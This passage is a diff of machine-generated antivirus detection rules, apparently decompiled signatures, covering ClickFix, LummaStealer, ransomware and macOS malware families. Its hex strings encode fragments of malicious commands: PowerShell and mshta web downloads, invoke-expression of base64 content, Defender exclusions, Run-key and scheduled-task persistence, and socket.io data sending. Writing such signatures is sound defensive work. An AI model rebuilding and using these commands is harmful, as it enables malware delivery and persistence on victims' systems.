{6f 00 6e 00 00 00 d7 e0 00 00 29 00 29 00 0d 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 6b 46 69 78 2e 42 44 21 4d 54 42 00 14 00 14 00 6d 00 73 00 68 00 74 00 61 00 20 00 68 00 74 00 74 00 70 00 14 00 04 00 5c 00 31 00 01 00 0a 00 2e 00 73 00 68 00 6f 00 70 00 01 00 08 } //115 - $a_00_4 = {01 00 0a 00 2e 00 63 00 79 00 6f 00 75 00 01 00 0c 00 2e 00 63 00 6c 00 69 00 63 00 6b 00 01 00 08 00 2e 00 6c 00 61 00 74 00 01 00 0a 00 2e 00 62 00 6f 00 6e 00 64 00 01 00 08 00 2e 00 74 00 6f 00 70 00 01 00 0a 00 2e 00 68 00 61 00 69 00 72 00 01 00 08 00 2e 00 63 00 6f 00 6d 00 01 00 08 00 2e 00 65 00 70 00 73 00 01 00 08 00 2e 00 6d 00 70 00 33 00 00 00 d7 e5 } //121 + $a_00_2 = {6f 00 6e 00 00 00 d7 dd 00 00 51 00 51 00 0d 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 50 42 21 4d 54 42 00 14 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 14 00 10 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 14 00 08 00 68 00 74 00 74 00 } //115 + $a_00_3 = {0a 00 2d 00 4a 00 6f 00 69 00 6e 00 01 00 08 00 2e 00 6d 00 } //112 + $a_00_4 = {01 00 08 00 2e 00 6d 00 70 00 34 00 01 00 08 00 2e 00 66 00 6c 00 76 00 01 00 08 00 2e 00 6d 00 64 00 62 00 01 00 08 00 2e 00 65 00 70 00 73 00 01 00 08 } //112 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110+(#a_00_2 & 1)*115+(#a_00_4 & 1)*121) >=5 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110+(#a_00_2 & 1)*115+(#a_00_3 & 1)*112+(#a_00_4 & 1)*112) >=5 } -rule _InfrastructureShared_25937{ +rule _InfrastructureShared_27266{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,51 00 51 00 0d 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 50 42 21 4d 54 42 00 14 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 14 00 10 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 14 00 08 } //21283 + $a_00_2 = {14 00 0a 00 2d 00 4a 00 6f 00 69 00 6e 00 01 00 08 00 2e 00 6d 00 70 00 33 00 01 00 08 00 2e 00 6d 00 70 00 34 00 01 00 08 00 2e 00 66 00 6c 00 76 00 01 00 08 00 2e 00 6d 00 64 00 62 00 01 00 08 00 2e 00 65 00 70 00 73 00 01 00 08 00 2e 00 64 00 61 00 74 00 01 00 08 00 2e 00 63 00 64 00 61 00 01 00 08 00 2e 00 6d 00 34 00 61 00 01 00 } //116 + $a_00_3 = {78 00 6c 00 6c 00 00 00 d7 e0 00 00 29 00 29 00 0d 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 43 6c 69 63 } //8 + $a_78_4 = {42 44 21 4d 54 42 00 14 00 14 00 6d 00 73 00 68 00 74 00 61 00 20 00 68 00 74 00 74 00 70 00 14 00 04 00 5c 00 31 00 01 00 0a 00 2e 00 73 00 68 00 6f 00 70 00 01 00 08 00 2e 00 78 00 79 00 7a 00 01 00 0a 00 2e 00 63 00 79 00 6f 00 75 00 01 00 0c 00 2e 00 63 00 6c 00 69 00 63 00 6b 00 01 00 08 00 2e 00 6c 00 61 00 } //18027 + $a_00_5 = {0a } //116 + $a_00_7 = {64 00 01 00 08 00 2e 00 74 00 6f 00 70 00 01 00 0a 00 2e 00 68 00 61 00 69 00 72 00 01 00 08 00 2e 00 63 00 6f 00 6d 00 01 00 08 00 2e 00 65 00 70 00 73 00 01 00 08 00 2e 00 6d 00 70 00 33 00 00 00 d7 e5 00 00 1f 00 1f 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 45 21 4d 54 42 } //111 + $a_00_9 = {72 00 65 00 6d 00 6f 00 74 00 65 00 2d 00 64 00 65 00 62 00 75 00 67 00 67 00 69 00 6e 00 67 00 2d 00 70 00 6f 00 72 00 74 00 0a 00 08 } //45 + $a_00_11 = {0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 20 00 69 00 65 00 78 00 01 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 01 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 65 00 62 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 } //116 + $a_00_12 = {20 00 69 00 77 00 72 00 } //1 iwr + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*116+(#a_00_3 & 1)*8+(#a_78_4 & 1)*18027+(#a_00_5 & 1)*116+(#a_00_7 & 1)*111+(#a_00_9 & 1)*45+(#a_00_11 & 1)*116+(#a_00_12 & 1)*1) >=81 + +} +rule _InfrastructureShared_27267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,29 00 29 00 0d 00 21 " @@ -339556,14 +356650,15 @@ rule _InfrastructureShared_25937{ $a_00_5 = {69 00 77 00 72 00 00 00 d7 e7 00 00 fb 00 fb 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //8 $a_32_6 = {52 61 6e 73 6f 6d 45 6e 75 6d 7a 2e 41 21 4d 54 42 00 64 00 08 00 65 00 63 00 68 00 6f 00 64 00 0c 00 3e 00 6e 00 75 00 6c 00 20 00 26 00 32 00 08 00 77 } //28265 $a_00_8 = {14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 2a 00 6f 00 73 00 20 00 67 00 65 00 74 00 20 00 6c 00 61 00 73 00 74 00 62 00 } //99 - $a_00_9 = {74 00 75 00 70 00 74 00 69 00 6d 00 65 00 01 00 0e 00 73 00 74 00 61 00 72 00 74 00 75 00 70 00 01 00 36 00 61 00 64 00 64 00 2d 00 6d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 00 00 d7 ed 00 00 1f 00 1f 00 05 00 21 23 53 4c 46 3a 54 72 6f } //111 - $a_3a_10 = {69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 4d 21 4d 54 42 00 0a 00 14 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1a 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 73 00 68 00 65 00 6c 00 6c 00 01 00 28 00 5b 00 73 00 79 00 73 } //24938 - $a_00_12 = {65 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 5d 00 01 00 44 00 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 63 00 } //109 + $a_00_9 = {74 00 75 00 70 00 74 00 69 00 6d 00 65 00 01 00 0e 00 73 00 74 00 61 00 72 00 74 00 75 00 70 00 01 00 36 00 61 00 64 00 64 00 2d 00 6d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 00 00 d7 f0 00 00 06 00 06 00 06 00 21 23 53 4c 46 3a 54 72 6f } //111 + $a_3a_10 = {61 63 4f 53 2f 4d 61 6c 43 6f 6f 6b 41 63 74 2e 41 00 01 00 18 00 6f 00 73 00 2e 00 68 00 6f 00 73 00 74 00 6e 00 61 00 6d 00 65 00 28 00 01 00 20 00 73 00 6f 00 63 00 6b 00 65 00 74 00 2e 00 69 00 6f 00 2d 00 63 00 6c 00 69 00 65 00 6e 00 74 00 01 00 24 00 73 00 6f 00 63 00 6b 00 65 00 74 00 2e 00 65 00 6d 00 69 00 74 00 28 00 } //24938 + $a_00_11 = {68 00 6f 00 49 00 6d 00 01 00 19 02 2e 00 70 00 6f 00 73 00 74 00 28 00 90 02 10 68 00 74 00 74 00 70 00 90 00 01 00 23 02 73 00 6f 00 63 00 6b 00 65 00 74 00 2e 00 6f 00 6e 00 28 00 90 02 10 77 00 68 00 6f 00 75 00 72 00 90 00 01 00 18 00 6f 00 73 00 2e 00 75 00 73 00 65 00 72 00 49 00 6e 00 66 00 6f 00 28 00 00 00 d7 f2 00 00 03 00 03 00 03 00 21 23 53 } //39 + $a_54_12 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 43 6c 69 63 6b 2e 4f 00 01 00 8d 02 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 72 } //17996 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_00_2 & 1)*101+(#a_00_4 & 1)*116+(#a_00_5 & 1)*8+(#a_32_6 & 1)*28265+(#a_00_8 & 1)*99+(#a_00_9 & 1)*111+(#a_3a_10 & 1)*24938+(#a_00_12 & 1)*109) >=41 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_00_2 & 1)*101+(#a_00_4 & 1)*116+(#a_00_5 & 1)*8+(#a_32_6 & 1)*28265+(#a_00_8 & 1)*99+(#a_00_9 & 1)*111+(#a_3a_10 & 1)*24938+(#a_00_11 & 1)*39+(#a_54_12 & 1)*17996) >=41 } -rule _InfrastructureShared_25938{ +rule _InfrastructureShared_27268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 07 00 21 " @@ -339576,33 +356671,21 @@ rule _InfrastructureShared_25938{ ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*116+(#a_00_4 & 1)*8+(#a_32_5 & 1)*28265) >=31 } -rule _InfrastructureShared_25939{ +rule _InfrastructureShared_27269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,fffffffb 00 fffffffb 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 6e 73 6f 6d 45 6e 75 6d 7a 2e 41 21 4d 54 42 00 64 00 08 00 65 00 63 00 68 00 6f 00 64 00 0c 00 3e 00 6e 00 75 00 6c 00 20 00 26 00 32 00 08 00 77 00 6d 00 69 00 63 00 32 00 14 00 70 } //21283 $a_00_2 = {73 00 68 00 65 00 6c 00 6c 00 01 00 2a 00 6f 00 73 00 20 00 67 00 65 00 74 00 20 00 6c 00 61 00 73 00 74 00 62 00 6f 00 6f 00 74 00 75 00 70 00 74 00 69 00 6d 00 65 00 01 00 0e 00 73 00 74 00 61 00 72 00 74 00 75 00 70 00 01 00 36 00 61 00 64 00 64 00 2d 00 6d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 } //101 - $a_00_3 = {63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 00 00 d7 ed 00 00 1f 00 1f 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 4d 21 4d 54 42 00 0a 00 14 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 1a 00 77 00 73 00 63 00 72 } //101 - $a_00_5 = {73 00 68 00 65 00 6c 00 6c 00 01 00 28 00 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 65 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 } //116 - $a_00_6 = {74 00 5d 00 01 00 44 00 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 67 00 00 00 d7 f0 00 00 06 00 06 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 4d 61 6c } //101 + $a_00_3 = {63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 00 00 d7 f0 00 00 06 00 06 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 4d 61 6c 43 6f 6f 6b 41 63 74 2e 41 00 01 00 18 00 6f 00 73 00 2e 00 68 00 6f 00 73 00 74 00 6e 00 61 00 6d 00 65 00 28 00 01 00 20 00 73 00 6f 00 63 00 6b 00 65 00 74 00 2e 00 69 00 6f 00 2d 00 63 00 6c 00 69 00 65 00 6e 00 } //101 + $a_00_4 = {24 } //116 $ + $a_00_6 = {65 00 74 00 2e 00 65 00 6d 00 69 00 74 00 28 00 27 00 77 00 68 00 6f 00 49 00 6d 00 01 00 19 02 2e 00 70 00 6f 00 73 00 74 00 28 00 90 02 10 68 00 74 00 74 00 70 00 90 00 01 00 23 02 73 00 6f 00 63 00 6b 00 65 00 74 00 2e 00 6f 00 6e 00 28 00 90 02 10 77 00 68 00 6f 00 75 00 72 00 90 00 01 00 18 00 6f 00 73 00 2e 00 75 } //99 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_00_3 & 1)*101+(#a_00_5 & 1)*116+(#a_00_6 & 1)*101) >=251 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_00_3 & 1)*101+(#a_00_4 & 1)*116+(#a_00_6 & 1)*99) >=251 } -rule _InfrastructureShared_25940{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 05 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 41 4d 21 4d 54 42 00 0a 00 14 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c } //21283 - $a_00_2 = {63 00 72 00 69 00 70 00 74 00 2e 00 73 00 68 00 65 00 6c 00 6c 00 01 00 28 00 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 65 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 5d 00 01 00 44 00 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 } //119 - $a_00_4 = {34 00 73 00 74 00 72 00 69 00 6e 00 67 00 00 00 d7 f0 00 00 06 00 06 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 4d 61 6c 43 6f 6f 6b 41 63 } //101 - condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*119+(#a_00_4 & 1)*101) >=31 - -} -rule _InfrastructureShared_25941{ +rule _InfrastructureShared_27270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " @@ -339611,12 +356694,12 @@ rule _InfrastructureShared_25941{ $a_00_1 = {6c 00 69 00 65 00 6e 00 74 00 01 00 24 00 73 00 6f 00 63 00 6b 00 65 00 74 00 2e 00 65 00 6d 00 69 00 74 00 28 00 27 00 77 00 68 00 6f 00 49 00 6d 00 01 00 19 02 2e 00 70 00 6f 00 73 00 74 00 28 00 90 02 10 68 00 74 00 74 00 70 00 90 00 01 00 23 02 73 00 6f 00 63 00 6b 00 65 00 74 00 2e 00 6f 00 } //45 $a_00_2 = {90 02 10 77 00 68 00 6f 00 75 00 72 00 90 00 01 00 18 00 6f 00 73 00 2e 00 75 00 73 00 65 00 72 00 49 00 6e 00 66 00 6f } //110 $a_00_4 = {00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 43 6c 69 63 6b 2e 4f 00 01 00 8d 02 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 72 00 65 00 67 00 20 00 61 00 64 00 64 00 90 02 10 68 00 6b 00 63 00 75 00 5c 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 63 00 75 00 72 00 72 00 65 00 6e 00 74 00 76 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 72 00 75 00 6e 00 90 00 01 00 20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 01 00 0a 00 2e 00 65 00 78 00 65 00 5c 00 00 } //-10496 - $a_01_5 = {00 33 00 33 00 11 00 21 23 53 4c 46 } //-10496 ㌀㌀ᄀ℀匣䙌 + $a_00_5 = {00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 63 68 45 78 65 63 2e 48 48 21 4d 54 42 00 01 00 d1 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 20 00 72 00 61 00 73 00 65 00 72 00 76 00 65 00 72 00 20 00 2f 00 74 00 72 00 20 00 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 90 02 30 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 72 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 61 00 65 00 70 00 69 00 63 00 5c 00 72 00 74 00 64 00 63 00 70 00 6c 00 36 00 34 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 63 00 20 00 6d 00 69 00 6e 00 75 00 74 00 65 00 20 00 2f 00 6d 00 6f 00 20 00 31 00 20 00 2f 00 66 00 90 00 00 } //-10496 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*45+(#a_00_2 & 1)*110+(#a_00_4 & 1)*-10496+(#a_01_5 & 1)*-10496) >=6 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*45+(#a_00_2 & 1)*110+(#a_00_4 & 1)*-10496+(#a_00_5 & 1)*-10496) >=6 } -rule _InfrastructureShared_25942{ +rule _InfrastructureShared_27271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -339627,7 +356710,17 @@ rule _InfrastructureShared_25942{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*104) >=3 } -rule _InfrastructureShared_25943{ +rule _InfrastructureShared_27272{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 63 68 45 78 65 63 2e 48 48 21 4d 54 42 00 01 00 d1 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,33 00 33 00 11 00 21 " @@ -339640,16 +356733,17 @@ rule _InfrastructureShared_25943{ $a_00_6 = {2e 00 65 00 70 00 73 00 } //1 .eps $a_00_7 = {2e 00 6d 00 70 00 33 00 } //1 .mp3 $a_42_8 = {00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 54 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 4a 00 2e 00 56 00 61 00 6c 00 75 00 65 00 2e 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 2e 00 50 00 73 00 4f 00 62 00 6a 00 65 00 63 00 74 00 2e 00 4d 00 65 00 74 00 68 00 6f 00 64 00 73 00 01 00 58 00 4d 00 65 00 6d 00 62 00 65 00 72 00 29 00 7c 00 57 00 68 00 65 00 72 00 65 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 7b 00 28 00 47 00 56 00 20 00 5f 00 29 00 2e } //0 - $a_00_10 = {65 00 2e 00 4e 00 61 00 6d 00 65 00 20 00 2d 00 6c 00 69 00 6b 00 65 00 01 00 45 02 76 00 61 00 72 00 69 00 61 00 62 00 6c 00 65 00 3a 00 90 02 0f 28 00 5b 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 5d 00 3a 00 3a 00 6e 00 65 00 77 00 28 00 29 00 90 00 00 00 7a 08 00 00 08 00 00 00 0f 00 00 00 5b ad 01 00 12 53 } //108 - $a_65_11 = {4b 69 6c 6c 53 77 69 74 63 68 65 73 96 01 00 00 46 00 69 00 6c 00 65 00 51 00 75 00 65 00 72 00 79 00 5c 00 76 00 70 00 61 00 74 00 68 00 3b 00 43 00 6f 00 72 00 65 00 52 00 65 00 70 00 6f 00 72 00 74 00 5c 00 76 00 70 00 61 00 74 00 68 00 3b 00 46 00 69 00 6c 00 65 00 51 00 75 00 65 00 72 00 79 00 5c 00 72 00 65 00 73 00 65 00 } //31088 - $a_00_12 = {63 00 68 00 64 00 61 00 74 00 61 00 3b 00 43 00 6f 00 72 00 65 00 52 00 65 00 70 00 6f 00 72 00 74 00 5c 00 72 00 65 00 73 00 65 00 61 00 72 00 63 00 68 00 64 00 61 00 74 00 61 00 3b 00 45 00 74 00 77 00 42 00 65 00 68 00 61 00 76 00 69 00 6f 00 72 00 5c 00 74 00 61 00 72 00 67 00 65 00 74 00 6e 00 61 00 6d 00 65 00 3b 00 45 00 74 00 77 00 } //97 chdata;CoreReport\researchdata;EtwBehavior\targetname;Etw - $a_00_13 = {68 00 61 00 76 00 69 00 6f 00 72 00 5c 00 62 00 61 00 63 00 6b 00 75 00 70 00 66 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 3b 00 45 00 74 00 77 00 42 00 65 00 68 00 61 00 76 00 69 00 6f 00 72 00 5c 00 73 00 65 00 61 00 72 00 63 00 68 00 73 00 74 00 72 00 69 00 6e 00 67 00 3b 00 45 00 74 00 77 00 42 } //66 - $a_00_15 = {69 00 6f 00 72 00 5c 00 69 00 64 00 65 00 6e 00 74 00 69 00 74 00 79 00 3b 00 45 00 74 00 77 00 42 00 65 00 68 00 61 00 76 00 69 00 6f 00 72 00 5c 00 73 00 61 00 6d 00 61 00 63 00 63 00 6f 00 75 00 6e 00 74 00 6e 00 61 00 6d 00 65 00 00 00 bd b6 00 00 0d 15 00 00 a1 00 00 00 35 33 37 38 63 65 32 33 38 38 39 34 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 } //97 + $a_00_10 = {65 00 2e 00 4e 00 61 00 6d 00 65 00 20 00 2d 00 6c 00 69 00 6b 00 65 00 01 00 45 02 76 00 61 00 72 00 69 00 61 00 62 00 6c 00 65 00 3a 00 90 02 0f 28 00 5b 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 5d 00 3a 00 3a 00 6e 00 65 00 77 00 28 00 29 00 90 00 00 00 e7 fe 00 00 00 1f db 00 21 23 41 4c 46 3a 54 72 6f 6a } //108 + $a_57_11 = {6e 33 32 2f 50 79 63 4c 6c 6d 41 74 6b 2e 42 48 14 93 89 0f fc ec 67 de 05 fe ad ac 13 da ea 80 0f bc 3e 8f c7 05 67 0f ec 67 a7 31 c7 31 0b f2 e6 1e ec ea bc 73 80 18 da 3e } //28257 + $a_f2_12 = {3e 80 0b fe 14 e3 8f c7 05 67 0f } //7916 + $a_31_13 = {31 0b f2 e6 1e ec ea bc 73 80 18 da 3e ec 1e ac e4 80 3f d1 fe 14 e3 8f c7 05 67 0f ec 67 a7 31 c7 31 0b f2 e6 1e ec ea bc 73 80 18 da 3e ec 80 d0 80 31 da 1e 80 fe 14 e3 8f c7 05 67 0f ec 67 a7 31 c7 31 0b f2 e6 1e ec ea bc 73 80 18 da 3e ec 73 ac 13 80 ea fe 14 e3 8f c7 05 67 0f ec 67 a7 31 c7 31 0b f2 e6 1e ec ea bc 73 80 18 da 3e ec e6 ac d1 1e 73 d1 3e fe 14 e3 8f c7 05 67 0f ec 67 a7 31 c7 31 0b f2 e6 1e ec ea bc 73 80 18 da 3e ec ea ea 73 19 bc 0b fe 14 e3 7a 08 00 00 08 00 00 00 0f 00 00 } //26604 + $a_01_14 = {00 12 53 70 79 6e 65 74 4b 69 6c 6c 53 77 69 74 63 68 65 73 96 01 00 00 46 00 69 00 6c 00 65 00 51 00 75 00 65 00 72 00 79 00 5c 00 76 00 70 00 61 00 74 00 68 00 3b 00 43 00 6f 00 72 00 65 00 52 00 65 00 70 00 6f 00 72 00 74 00 5c 00 76 00 70 00 61 00 74 00 68 00 3b 00 46 00 69 00 6c 00 65 00 51 00 75 00 65 00 72 00 79 00 5c 00 72 00 65 00 73 00 65 00 61 00 72 00 63 00 68 00 64 00 61 00 74 00 61 00 3b 00 43 00 6f 00 72 00 65 00 52 00 65 00 70 00 6f 00 72 00 74 00 5c 00 72 00 65 00 73 00 65 00 61 00 72 00 63 00 68 } //23296 + $a_00_16 = {3b 00 45 00 74 00 77 00 42 00 65 00 68 00 61 00 76 00 69 00 6f 00 72 00 5c 00 74 00 61 00 72 00 67 00 65 00 74 00 6e 00 61 00 6d 00 65 00 3b 00 45 00 74 00 77 00 42 00 65 00 68 00 61 00 76 00 69 00 6f 00 72 00 5c 00 62 00 61 00 63 00 6b 00 75 00 70 00 66 00 69 00 6c 00 65 00 6e 00 61 00 6d } //116 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*49+(#a_00_2 & 1)*6+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_42_8 & 1)*0+(#a_00_10 & 1)*108+(#a_65_11 & 1)*31088+(#a_00_12 & 1)*97+(#a_00_13 & 1)*66+(#a_00_15 & 1)*97) >=51 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*49+(#a_00_2 & 1)*6+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_42_8 & 1)*0+(#a_00_10 & 1)*108+(#a_57_11 & 1)*28257+(#a_f2_12 & 1)*7916+(#a_31_13 & 1)*26604+(#a_01_14 & 1)*23296+(#a_00_16 & 1)*116) >=51 } -rule _InfrastructureShared_25944{ +rule _InfrastructureShared_27274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " @@ -339661,7 +356755,7 @@ rule _InfrastructureShared_25944{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*46+(#a_00_4 & 1)*87) >=5 } -rule _InfrastructureShared_25945{ +rule _InfrastructureShared_27275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,10 00 10 00 02 00 21 " @@ -339672,7 +356766,7 @@ rule _InfrastructureShared_25945{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*32) >=16 } -rule _InfrastructureShared_25946{ +rule _InfrastructureShared_27276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -339682,7 +356776,7 @@ rule _InfrastructureShared_25946{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_25947{ +rule _InfrastructureShared_27277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,33 00 01 00 08 00 21 " @@ -339696,7 +356790,7 @@ rule _InfrastructureShared_25947{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*45+(#a_00_2 & 1)*101+(#a_63_3 & 1)*4084+(#a_62_4 & 1)*12544) >=1 } -rule _InfrastructureShared_25948{ +rule _InfrastructureShared_27278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 21 " @@ -339706,7 +356800,7 @@ rule _InfrastructureShared_25948{ ((#a_46_0 & 1)*21283) >=3 } -rule _InfrastructureShared_25949{ +rule _InfrastructureShared_27279{ meta: description = 